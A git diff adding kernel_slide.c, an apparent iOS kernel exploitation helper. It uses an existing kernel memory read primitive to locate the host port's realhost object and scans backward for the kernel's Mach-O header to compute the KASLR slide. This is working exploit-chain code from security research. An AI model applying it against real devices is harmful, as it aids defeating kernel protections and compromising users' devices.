1 files changed, 88 insertions, 0 deletions
diff --git a/kernel_call/kernel_slide.c b/kernel_call/kernel_slide.c
new file mode 100755
index 0000000..832a179
--- /dev/null
+++ b/kernel_call/kernel_slide.c
@@ -0,0 +1,88 @@
+/*
+ * kernel_slide.c
+ * Brandon Azad
+ */
+#define KERNEL_SLIDE_EXTERN
+#include "kernel_slide.h"
+
+#include <assert.h>
+#include <mach/vm_region.h>
+#include <mach-o/loader.h>
+
+#include "kernel_memory.h"
+#include "log.h"
+#include "parameters.h"
+#include "platform.h"
+
+/*
+ * is_kernel_base
+ *
+ * Description:
+ * 	Checks if the given address is the kernel base.
+ */
+static bool
+is_kernel_base(uint64_t base) {
+	// Read the data at the base address as a Mach-O header.
+	struct mach_header_64 header = {};
+	bool ok = kernel_read(base, &header, sizeof(header));
+	if (!ok) {
+		return false;
+	}
+	// Validate that this looks like the kernel base. We don't check the CPU subtype since it
+	// may not exactly match the current platform's CPU subtype (e.g. on iPhone10,1,
+	// header.cpusubtype is CPU_SUBTYPE_ARM64_ALL while platform.cpu_subtype is
+	// CPU_SUBTYPE_ARM64_V8).
+	if (!(header.magic == MH_MAGIC_64
+			&& header.cputype == platform.cpu_type
+			&& header.filetype == MH_EXECUTE
+			&& header.ncmds > 2)) {
+		return false;
+	}
+	return true;
+}
+
+bool
+kernel_slide_init() {
+	if (kernel_slide != 0) {
+		return true;
+	}
+	// Get the address of the host port.
+	mach_port_t host = mach_host_self();
+	assert(MACH_PORT_VALID(host));
+	uint64_t host_port;
+	bool ok = kernel_ipc_port_lookup(current_task, host, &host_port, NULL);
+	mach_port_deallocate(mach_task_self(), host);
+	if (!ok) {
+		ERROR("could not lookup host port");
+		return false;
+	}
+	// Get the address of realhost.
+	uint64_t realhost = kernel_read64(host_port + OFFSET(ipc_port, ip_kobject));
+	return kernel_slide_init_with_kernel_image_address(realhost);
+}
+
+bool
+kernel_slide_init_with_kernel_image_address(uint64_t address) {
+	if (kernel_slide != 0) {
+		return true;
+	}
+	// Find the highest possible kernel base address that could still correspond to the given
+	// kernel image address.
+	uint64_t base = STATIC_ADDRESS(kernel_base);
+	assert(address > base);
+	base = base + ((address - base) / kernel_slide_step) * kernel_slide_step;
+	// Now walk backwards from that kernel base one kernel slide at a time until we find the
+	// real kernel base.
+	while (base > STATIC_ADDRESS(kernel_base)) {
+		bool found = is_kernel_base(base);
+		if (found) {
+			kernel_slide = base - STATIC_ADDRESS(kernel_base);
+			DEBUG_TRACE(1, "found kernel slide 0x%016llx", kernel_slide);
+			return true;
+		}
+		base -= kernel_slide_step;
+	}
+	ERROR("could not find kernel base");
+	ERROR("could not determine kernel slide");
+	return false;
+}